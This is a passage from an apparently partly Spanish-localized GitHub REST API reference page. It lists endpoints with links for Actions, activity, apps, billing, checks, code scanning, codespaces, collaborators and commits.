/enterprises/{enterprise}/actions/permissions/organizations`](/rest/reference/actions#set-selected-organizations-enabled-for-github-actions-in-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/permissions/selected-actions`](/rest/reference/actions#get-allowed-actions-for-an-enterprise) +- [`PUT /enterprises/{enterprise}/actions/permissions/selected-actions`](/rest/reference/actions#set-allowed-actions-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/permissions/workflow`](/rest/reference/actions#get-default-workflow-permissions-for-an-enterprise) +- [`PUT /enterprises/{enterprise}/actions/permissions/workflow`](/rest/reference/actions#set-default-workflow-permissions-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runner-groups`](/rest/reference/actions#list-self-hosted-runner-groups-for-an-enterprise) +- [`POST /enterprises/{enterprise}/actions/runner-groups`](/rest/reference/actions#create-self-hosted-runner-group-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#get-a-self-hosted-runner-group-for-an-enterprise) +- [`PATCH /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#update-a-self-hosted-runner-group-for-an-enterprise) +- [`DELETE /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#delete-a-self-hosted-runner-group-from-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/organizations`](/rest/reference/actions#list-organization-access-to-a-self-hosted-runner-group-in-a-enterprise) +- [`PUT /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/organizations`](/rest/reference/actions#set-organization-access-to-a-self-hosted-runner-group-in-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#list-self-hosted-runners-in-a-group-for-an-enterprise) +- [`PUT /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-enterprise) +- [`PUT /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#add-a-self-hosted-runner-to-a-group-for-an-enterprise) +- [`DELETE /enterprises/{enterprise}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runners/{runner_id}`](/rest/reference/actions#get-a-self-hosted-runner-for-an-enterprise) +- [`DELETE /enterprises/{enterprise}/actions/runners/{runner_id}`](/rest/reference/actions#delete-self-hosted-runner-from-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runners/{runner_id}/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-an-enterprise) +- [`POST /enterprises/{enterprise}/actions/runners/{runner_id}/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-enterprise) +- [`PUT /enterprises/{enterprise}/actions/runners/{runner_id}/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-an-enterprise) +- [`DELETE /enterprises/{enterprise}/actions/runners/{runner_id}/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-an-enterprise) +- [`DELETE /enterprises/{enterprise}/actions/runners/{runner_id}/labels/{name}`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-enterprise) +- [`POST /enterprises/{enterprise}/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-enterprise) +- [`POST /enterprises/{enterprise}/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-an-enterprise) +- [`GET /repos/{owner}/{repo}/actions/jobs/{job_id}`](/rest/reference/actions#get-a-job-for-a-workflow-run) +- [`GET /repos/{owner}/{repo}/actions/jobs/{job_id}/logs`](/rest/reference/actions#download-job-logs-for-a-workflow-run) +- [`POST /repos/{owner}/{repo}/actions/jobs/{job_id}/rerun`](/rest/reference/actions#re-run-job-for-workflow-run) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}/jobs`](/rest/reference/actions#list-jobs-for-a-workflow-run-attempt) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/jobs`](/rest/reference/actions#list-jobs-for-a-workflow-run) +- [`GET /orgs/{org}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-an-organization) +- [`GET /orgs/{org}/actions/cache/usage-by-repository`](/rest/reference/actions#list-repositories-with-github-actions-cache-usage-for-an-organization) +- [`GET /orgs/{org}/actions/permissions`](/rest/reference/actions#get-github-actions-permissions-for-an-organization) +- [`PUT /orgs/{org}/actions/permissions`](/rest/reference/actions#set-github-actions-permissions-for-an-organization) +- [`GET /orgs/{org}/actions/permissions/repositories`](/rest/reference/actions#list-selected-repositories-enabled-for-github-actions-in-an-organization) +- [`PUT /orgs/{org}/actions/permissions/repositories`](/rest/reference/actions#set-selected-repositories-enabled-for-github-actions-in-an-organization) +- [`GET /orgs/{org}/actions/permissions/selected-actions`](/rest/reference/actions#get-allowed-actions-for-an-organization) +- [`PUT /orgs/{org}/actions/permissions/selected-actions`](/rest/reference/actions#set-allowed-actions-for-an-organization) +- [`GET /orgs/{org}/actions/permissions/workflow`](/rest/reference/actions#get-default-workflow-permissions) +- [`PUT /orgs/{org}/actions/permissions/workflow`](/rest/reference/actions#set-default-workflow-permissions) +- [`GET /orgs/{org}/actions/secrets`](/rest/reference/actions#list-organization-secrets) +- [`GET /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#get-an-organization-secret) +- [`PUT /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#create-or-update-an-organization-secret) +- [`DELETE /orgs/{org}/actions/secrets/{secret_name}`](/rest/reference/actions#delete-an-organization-secret) +- [`GET /orgs/{org}/actions/secrets/{secret_name}/repositories`](/rest/reference/actions#list-selected-repositories-for-an-organization-secret) +- [`PUT /orgs/{org}/actions/secrets/{secret_name}/repositories`](/rest/reference/actions#set-selected-repositories-for-an-organization-secret) +- [`GET /orgs/{org}/actions/secrets/public-key`](/rest/reference/actions#get-an-organization-public-key) +- [`GET /orgs/{org}/actions/runner-groups`](/rest/reference/actions#list-self-hosted-runner-groups-for-an-organization) +- [`POST /orgs/{org}/actions/runner-groups`](/rest/reference/actions#create-a-self-hosted-runner-group-for-an-organization) +- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#get-a-self-hosted-runner-group-for-an-organization) +- [`PATCH /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#update-a-self-hosted-runner-group-for-an-organization) +- [`DELETE /orgs/{org}/actions/runner-groups/{runner_group_id}`](/rest/reference/actions#delete-a-self-hosted-runner-group-from-an-organization) +- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}/repositories`](/rest/reference/actions#list-repository-access-to-a-self-hosted-runner-group-in-an-organization) +- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/repositories`](/rest/reference/actions#set-repository-access-to-a-self-hosted-runner-group-in-an-organization) +- [`GET /orgs/{org}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#list-self-hosted-runners-in-a-group-for-an-organization) +- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/runners`](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization) +- [`PUT /orgs/{org}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#add-a-self-hosted-runner-to-a-group-for-an-organization) +- [`DELETE /orgs/{org}/actions/runner-groups/{runner_group_id}/runners/{runner_id}`](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization) +- [`GET /orgs/{org}/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-organization) +- [`GET /orgs/{org}/actions/runners/{runner_id}`](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization) +- [`DELETE /orgs/{org}/actions/runners/{runner_id}`](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization) +- [`GET /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-an-organization) +- [`POST /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization) +- [`PUT /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-an-organization) +- [`DELETE /orgs/{org}/actions/runners/{runner_id}/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-an-organization) +- [`DELETE /orgs/{org}/actions/runners/{runner_id}/labels/{name}`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-organization) +- [`GET /orgs/{org}/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-organization) +- [`POST /orgs/{org}/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-organization) +- [`POST /orgs/{org}/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-an-organization) +- [`GET /repos/{owner}/{repo}/actions/permissions`](/rest/reference/actions#get-github-actions-permissions-for-a-repository) +- [`PUT /repos/{owner}/{repo}/actions/permissions`](/rest/reference/actions#set-github-actions-permissions-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/permissions/access`](/rest/reference/actions#get-workflow-access-level-to-a-repository) +- [`PUT /repos/{owner}/{repo}/actions/permissions/access`](/rest/reference/actions#set-workflow-access-to-a-repository) +- [`GET /repos/{owner}/{repo}/actions/permissions/selected-actions`](/rest/reference/actions#get-allowed-actions-for-a-repository) +- [`PUT /repos/{owner}/{repo}/actions/permissions/selected-actions`](/rest/reference/actions#set-allowed-actions-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/permissions/workflow`](/rest/reference/actions#get-default-workflow-permissions-for-a-repository) +- [`PUT /repos/{owner}/{repo}/actions/permissions/workflow`](/rest/reference/actions#set-default-workflow-permissions-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/runners/{runner_id}`](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}`](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository) +- [`GET /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository) +- [`POST /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-a-repository) +- [`PUT /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}/labels/{name}`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-a-repository) +- [`POST /repos/{owner}/{repo}/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-a-repository) +- [`POST /repos/{owner}/{repo}/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/runs`](/rest/reference/actions#list-workflow-runs-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}`](/rest/reference/actions#get-a-workflow-run) +- [`DELETE /repos/{owner}/{repo}/actions/runs/{run_id}`](/rest/reference/actions#delete-a-workflow-run) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/approvals`](/rest/reference/actions#get-the-review-history-for-a-workflow-run) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/approve`](/rest/reference/actions#approve-a-workflow-run-for-a-fork-pull-request) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}`](/rest/reference/actions#get-a-workflow-run-attempt) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/attempts/{attempt_number}/logs`](/rest/reference/actions#download-workflow-run-attempt-logs) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/cancel`](/rest/reference/actions#cancel-a-workflow-run) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/logs`](/rest/reference/actions#download-workflow-run-logs) +- [`DELETE /repos/{owner}/{repo}/actions/runs/{run_id}/logs`](/rest/reference/actions#delete-workflow-run-logs) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/rerun`](/rest/reference/actions#re-run-a-workflow) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/rerun-failed-jobs`](/rest/reference/actions#re-run-workflow-failed-jobs) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/timing`](/rest/reference/actions#get-workflow-run-usage) +- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}/runs`](/rest/reference/actions#list-workflow-runs) +- [`GET /repos/{owner}/{repo}/actions/workflows`](/rest/reference/actions#list-repository-workflows) +- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}`](/rest/reference/actions#get-a-workflow) +- [`PUT /repos/{owner}/{repo}/actions/workflows/{workflow_id}/disable`](/rest/reference/actions#disable-a-workflow) +- [`POST /repos/{owner}/{repo}/actions/workflows/{workflow_id}/dispatches`](/rest/reference/actions#create-a-workflow-dispatch-event) +- [`PUT /repos/{owner}/{repo}/actions/workflows/{workflow_id}/enable`](/rest/reference/actions#enable-a-workflow) +- [`GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}/timing`](/rest/reference/actions#get-workflow-usage) + +## activity + +- [`GET /events`](/rest/reference/activity#list-public-events) +- [`GET /networks/{owner}/{repo}/events`](/rest/reference/activity#list-public-events-for-a-network-of-repositories) +- [`GET /orgs/{org}/events`](/rest/reference/activity#list-public-organization-events) +- [`GET /repos/{owner}/{repo}/events`](/rest/reference/activity#list-repository-events) +- [`GET /users/{username}/events`](/rest/reference/activity#list-events-for-the-authenticated-user) +- [`GET /users/{username}/events/orgs/{org}`](/rest/reference/activity#list-organization-events-for-the-authenticated-user) +- [`GET /users/{username}/events/public`](/rest/reference/activity#list-public-events-for-a-user) +- [`GET /users/{username}/received_events`](/rest/reference/activity#list-events-received-by-the-authenticated-user) +- [`GET /users/{username}/received_events/public`](/rest/reference/activity#list-public-events-received-by-a-user) +- [`GET /feeds`](/rest/reference/activity#get-feeds) +- [`GET /notifications`](/rest/reference/activity#list-notifications-for-the-authenticated-user) +- [`PUT /notifications`](/rest/reference/activity#mark-notifications-as-read) +- [`GET /notifications/threads/{thread_id}`](/rest/reference/activity#get-a-thread) +- [`PATCH /notifications/threads/{thread_id}`](/rest/reference/activity#mark-a-thread-as-read) +- [`GET /notifications/threads/{thread_id}/subscription`](/rest/reference/activity#get-a-thread-subscription-for-the-authenticated-user) +- [`PUT /notifications/threads/{thread_id}/subscription`](/rest/reference/activity#set-a-thread-subscription) +- [`DELETE /notifications/threads/{thread_id}/subscription`](/rest/reference/activity#delete-a-thread-subscription) +- [`GET /repos/{owner}/{repo}/notifications`](/rest/reference/activity#list-repository-notifications-for-the-authenticated-user) +- [`PUT /repos/{owner}/{repo}/notifications`](/rest/reference/activity#mark-repository-notifications-as-read) +- [`GET /repos/{owner}/{repo}/subscription`](/rest/reference/activity#get-a-repository-subscription) +- [`PUT /repos/{owner}/{repo}/subscription`](/rest/reference/activity#set-a-repository-subscription) +- [`DELETE /repos/{owner}/{repo}/subscription`](/rest/reference/activity#delete-a-repository-subscription) +- [`GET /repos/{owner}/{repo}/stargazers`](/rest/reference/activity#list-stargazers) +- [`GET /repos/{owner}/{repo}/subscribers`](/rest/reference/activity#list-watchers) +- [`GET /users/{username}/starred`](/rest/reference/activity#list-repositories-starred-by-a-user) +- [`GET /users/{username}/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user) +- [`GET /user/starred`](/rest/reference/activity#list-repositories-starred-by-the-authenticated-user) +- [`GET /user/starred/{owner}/{repo}`](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) +- [`PUT /user/starred/{owner}/{repo}`](/rest/reference/activity#star-a-repository-for-the-authenticated-user) +- [`DELETE /user/starred/{owner}/{repo}`](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) +- [`GET /user/subscriptions`](/rest/reference/activity#list-repositories-watched-by-the-authenticated-user) + +## aplicaciones + +- [`DELETE /applications/{client_id}/grant`](/rest/reference/apps#delete-an-app-authorization) +- [`POST /applications/{client_id}/token`](/rest/reference/apps#check-a-token) +- [`PATCH /applications/{client_id}/token`](/rest/reference/apps#reset-a-token) +- [`DELETE /applications/{client_id}/token`](/rest/reference/apps#delete-an-app-token) +- [`POST /applications/{client_id}/token/scoped`](/rest/reference/apps#create-a-scoped-access-token) +- [`GET /installation/repositories`](/rest/reference/apps#list-repositories-accessible-to-the-app-installation) +- [`DELETE /installation/token`](/rest/reference/apps#revoke-an-installation-access-token) +- [`GET /user/installations/{installation_id}/repositories`](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token) +- [`PUT /user/installations/{installation_id}/repositories/{repository_id}`](/rest/reference/apps#add-a-repository-to-an-app-installation) +- [`DELETE /user/installations/{installation_id}/repositories/{repository_id}`](/rest/reference/apps#remove-a-repository-from-an-app-installation) +- [`POST /app-manifests/{code}/conversions`](/rest/reference/apps#create-a-github-app-from-a-manifest) +- [`GET /app`](/rest/reference/apps#get-the-authenticated-app) +- [`GET /app/hook/config`](/rest/reference/apps#get-a-webhook-configuration-for-an-app) +- [`PATCH /app/hook/config`](/rest/reference/apps#update-a-webhook-configuration-for-an-app) +- [`GET /app/hook/deliveries`](/rest/reference/apps#list-deliveries-for-an-app-webhook) +- [`GET /app/hook/deliveries/{delivery_id}`](/rest/reference/apps#get-a-delivery-for-an-app-webhook) +- [`POST /app/hook/deliveries/{delivery_id}/attempts`](/rest/reference/apps#redeliver-a-delivery-for-an-app-webhook) +- [`GET /app/installations`](/rest/reference/apps#list-installations-for-the-authenticated-app) +- [`GET /app/installations/{installation_id}`](/rest/reference/apps#get-an-installation-for-the-authenticated-app) +- [`DELETE /app/installations/{installation_id}`](/rest/reference/apps#delete-an-installation-for-the-authenticated-app) +- [`POST /app/installations/{installation_id}/access_tokens`](/rest/reference/apps/#create-an-installation-access-token-for-an-app) +- [`PUT /app/installations/{installation_id}/suspended`](/rest/reference/apps#suspend-an-app-installation) +- [`DELETE /app/installations/{installation_id}/suspended`](/rest/reference/apps#unsuspend-an-app-installation) +- [`GET /orgs/{org}/installation`](/rest/reference/apps#get-an-organization-installation-for-the-authenticated-app) +- [`GET /repos/{owner}/{repo}/installation`](/rest/reference/apps#get-a-repository-installation-for-the-authenticated-app) +- [`GET /users/{username}/installation`](/rest/reference/apps#get-a-user-installation-for-the-authenticated-app) +- [`GET /marketplace_listing/accounts/{account_id}`](/rest/reference/apps#get-a-subscription-plan-for-an-account) +- [`GET /marketplace_listing/plans`](/rest/reference/apps#list-plans) +- [`GET /marketplace_listing/plans/{plan_id}/accounts`](/rest/reference/apps#list-accounts-for-a-plan) +- [`GET /marketplace_listing/stubbed/accounts/{account_id}`](/rest/reference/apps#get-a-subscription-plan-for-an-account-stubbed) +- [`GET /marketplace_listing/stubbed/plans`](/rest/reference/apps#list-plans-stubbed) +- [`GET /marketplace_listing/stubbed/plans/{plan_id}/accounts`](/rest/reference/apps#list-accounts-for-a-plan-stubbed) +- [`GET /user/installations`](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token) +- [`GET /user/marketplace_purchases`](/rest/reference/apps#list-subscriptions-for-the-authenticated-user) +- [`GET /user/marketplace_purchases/stubbed`](/rest/reference/apps#list-subscriptions-for-the-authenticated-user-stubbed) + +## facturación + +- [`GET /orgs/{org}/settings/billing/actions`](/rest/reference/billing#get-github-actions-billing-for-an-organization) +- [`GET /orgs/{org}/settings/billing/advanced-security`](/rest/reference/billing#get-github-advanced-security-active-committers-for-an-organization) +- [`GET /orgs/{org}/settings/billing/packages`](/rest/reference/billing#get-github-packages-billing-for-an-organization) +- [`GET /orgs/{org}/settings/billing/shared-storage`](/rest/reference/billing#get-shared-storage-billing-for-an-organization) +- [`GET /users/{username}/settings/billing/actions`](/rest/reference/billing#get-github-actions-billing-for-a-user) +- [`GET /users/{username}/settings/billing/packages`](/rest/reference/billing#get-github-packages-billing-for-a-user) +- [`GET /users/{username}/settings/billing/shared-storage`](/rest/reference/billing#get-shared-storage-billing-for-a-user) + +## checks + +- [`POST /repos/{owner}/{repo}/check-runs`](/rest/reference/checks#create-a-check-run) +- [`GET /repos/{owner}/{repo}/check-runs/{check_run_id}`](/rest/reference/checks#get-a-check-run) +- [`PATCH /repos/{owner}/{repo}/check-runs/{check_run_id}`](/rest/reference/checks#update-a-check-run) +- [`GET /repos/{owner}/{repo}/check-runs/{check_run_id}/annotations`](/rest/reference/checks#list-check-run-annotations) +- [`POST /repos/{owner}/{repo}/check-runs/{check_run_id}/rerequest`](/rest/reference/checks#rerequest-a-check-run) +- [`GET /repos/{owner}/{repo}/check-suites/{check_suite_id}/check-runs`](/rest/reference/checks#list-check-runs-in-a-check-suite) +- [`POST /repos/{owner}/{repo}/check-suites`](/rest/reference/checks#create-a-check-suite) +- [`GET /repos/{owner}/{repo}/check-suites/{check_suite_id}`](/rest/reference/checks#get-a-check-suite) +- [`POST /repos/{owner}/{repo}/check-suites/{check_suite_id}/rerequest`](/rest/reference/checks#rerequest-a-check-suite) +- [`PATCH /repos/{owner}/{repo}/check-suites/preferences`](/rest/reference/checks#update-repository-preferences-for-check-suites) + +## code-scanning + +- [`GET /enterprises/{enterprise}/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-an-enterprise) +- [`GET /orgs/{org}/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-by-organization) +- [`GET /repos/{owner}/{repo}/code-scanning/alerts`](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository) +- [`GET /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}`](/rest/reference/code-scanning#get-a-code-scanning-alert) +- [`PATCH /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}`](/rest/reference/code-scanning#update-a-code-scanning-alert) +- [`GET /repos/{owner}/{repo}/code-scanning/alerts/{alert_number}/instances`](/rest/reference/code-scanning#list-instances-of-a-code-scanning-alert) +- [`GET /repos/{owner}/{repo}/code-scanning/analyses`](/rest/reference/code-scanning#list-code-scanning-analyses-for-a-repository) +- [`GET /repos/{owner}/{repo}/code-scanning/analyses/{analysis_id}`](/rest/reference/code-scanning#get-a-code-scanning-analysis-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/code-scanning/analyses/{analysis_id}`](/rest/reference/code-scanning#delete-a-code-scanning-analysis-from-a-repository) +- [`GET /repos/{owner}/{repo}/code-scanning/sarifs/{sarif_id}`](/rest/reference/code-scanning#list-recent-code-scanning-analyses-for-a-repository) +- [`GET /repos/{owner}/{repo}/code-scanning/codeql/databases`](/rest/reference/code-scanning#list-codeql-databases) +- [`GET /repos/{owner}/{repo}/code-scanning/codeql/databases/{language}`](/rest/reference/code-scanning#get-codeql-database) +- [`POST /repos/{owner}/{repo}/code-scanning/sarifs`](/rest/reference/code-scanning#upload-a-sarif-file) + +## codes-of-conduct + +- [`GET /codes_of_conduct`](/rest/reference/codes-of-conduct#get-all-codes-of-conduct) +- [`GET /codes_of_conduct/{key}`](/rest/reference/codes-of-conduct#get-a-code-of-conduct) + +## codespaces + +- [`GET /orgs/{org}/codespaces`](/rest/reference/codespaces#list-in-organization) +- [`PUT /orgs/{org}/codespaces/billing`](/rest/reference/codespaces#set-codespaces-billing) +- [`GET /repos/{owner}/{repo}/codespaces`](/rest/reference/codespaces#list-codespaces-in-a-repository-for-the-authenticated-user) +- [`POST /repos/{owner}/{repo}/codespaces`](/rest/reference/codespaces#create-a-codespace-in-a-repository) +- [`GET /repos/{owner}/{repo}/codespaces/devcontainers`](/rest/reference/codespaces#list-devcontainers-in-a-repository-for-the-authenticated-user) +- [`GET /repos/{owner}/{repo}/codespaces/machines`](/rest/reference/codespaces#list-available-machine-types-for-a-repository) +- [`GET /repos/{owner}/{repo}/codespaces/new`](/rest/reference/codespaces#preview-attributes-for-a-new-codespace) +- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/codespaces`](/rest/reference/codespaces#create-a-codespace-from-a-pull-request) +- [`GET /user/codespaces`](/rest/reference/codespaces#list-codespaces-for-the-authenticated-user) +- [`POST /user/codespaces`](/rest/reference/codespaces#create-a-codespace-for-the-authenticated-user) +- [`GET /user/codespaces/{codespace_name}`](/rest/reference/codespaces#get-a-codespace-for-the-authenticated-user) +- [`PATCH /user/codespaces/{codespace_name}`](/rest/reference/codespaces#update-a-codespace-for-the-authenticated-user) +- [`DELETE /user/codespaces/{codespace_name}`](/rest/reference/codespaces#delete-a-codespace-for-the-authenticated-user) +- [`POST /user/codespaces/{codespace_name}/exports`](/rest/codespaces/codespaces#export-a-codespace-for-the-authenticated-user) +- [`GET /user/codespaces/{codespace_name}/exports/{export_id}`](/rest/codespaces/codespaces#get-details-about-a-codespace-export) +- [`GET /user/codespaces/{codespace_name}/machines`](/rest/reference/codespaces#list-machine-types-for-a-codespace) +- [`POST /user/codespaces/{codespace_name}/start`](/rest/reference/codespaces#start-a-codespace-for-the-authenticated-user) +- [`POST /user/codespaces/{codespace_name}/stop`](/rest/reference/codespaces#stop-a-codespace-for-the-authenticated-user) +- [`GET /orgs/{org}/codespaces/secrets`](/rest/reference/codespaces#list-organization-secrets) +- [`GET /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-an-organization-secret) +- [`PUT /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-an-organization-secret) +- [`DELETE /orgs/{org}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-an-organization-secret) +- [`GET /orgs/{org}/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#list-selected-repositories-for-an-organization-secret) +- [`PUT /orgs/{org}/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#set-selected-repositories-for-an-organization-secret) +- [`GET /orgs/{org}/codespaces/secrets/public-key`](/rest/reference/codespaces#get-an-organization-public-key) +- [`GET /repos/{owner}/{repo}/codespaces/secrets`](/rest/reference/codespaces#list-repository-secrets) +- [`GET /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-a-repository-secret) +- [`PUT /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-a-repository-secret) +- [`DELETE /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-a-repository-secret) +- [`GET /repos/{owner}/{repo}/codespaces/secrets/public-key`](/rest/reference/codespaces#get-a-repository-public-key) +- [`GET /user/codespaces/secrets`](/rest/reference/codespaces#list-secrets-for-the-authenticated-user) +- [`GET /user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-a-secret-for-the-authenticated-user) +- [`PUT /user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-a-secret-for-the-authenticated-user) +- [`DELETE /user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-a-secret-for-the-authenticated-user) +- [`GET /user/codespaces/secrets/public-key`](/rest/reference/codespaces#get-public-key-for-the-authenticated-user) +- [`GET /user/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#list-selected-repositories-for-a-user-secret) +- [`PUT /user/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#set-selected-repositories-for-a-user-secret) +- [`PUT /user/codespaces/secrets/{secret_name}/repositories/{repository_id}`](/rest/reference/codespaces#add-a-selected-repository-to-a-user-secret) +- [`DELETE /user/codespaces/secrets/{secret_name}/repositories/{repository_id}`](/rest/reference/codespaces#remove-a-selected-repository-from-a-user-secret) + +## collaborators + +- [`GET /repos/{owner}/{repo}/collaborators`](/rest/collaborators/collaborators#list-repository-collaborators) +- [`GET /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#check-if-a-user-is-a-repository-collaborator) +- [`PUT /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#add-a-repository-collaborator) +- [`DELETE /repos/{owner}/{repo}/collaborators/{username}`](/rest/collaborators/collaborators#remove-a-repository-collaborator) +- [`GET /repos/{owner}/{repo}/collaborators/{username}/permission`](/rest/collaborators/collaborators#get-repository-permissions-for-a-user) +- [`GET /repos/{owner}/{repo}/invitations`](/rest/collaborators/invitations#list-repository-invitations) +- [`PATCH /repos/{owner}/{repo}/invitations/{invitation_id}`](/rest/collaborators/invitations#update-a-repository-invitation) +- [`DELETE /repos/{owner}/{repo}/invitations/{invitation_id}`](/rest/collaborators/invitations#delete-a-repository-invitation) +- [`GET /user/repository_invitations`](/rest/collaborators/invitations#list-repository-invitations-for-the-authenticated-user) +- [`PATCH /user/repository_invitations/{invitation_id}`](/rest/collaborators/invitations#accept-a-repository-invitation) +- [`DELETE /user/repository_invitations/{invitation_id}`](/rest/collaborators/invitations#decline-a-repository-invitation) + +## se confirma + +- [`GET /repos/{owner}/{repo}/comments`](/rest/commits/comments#list-commit-comments-for-a-repository) +- [`GET 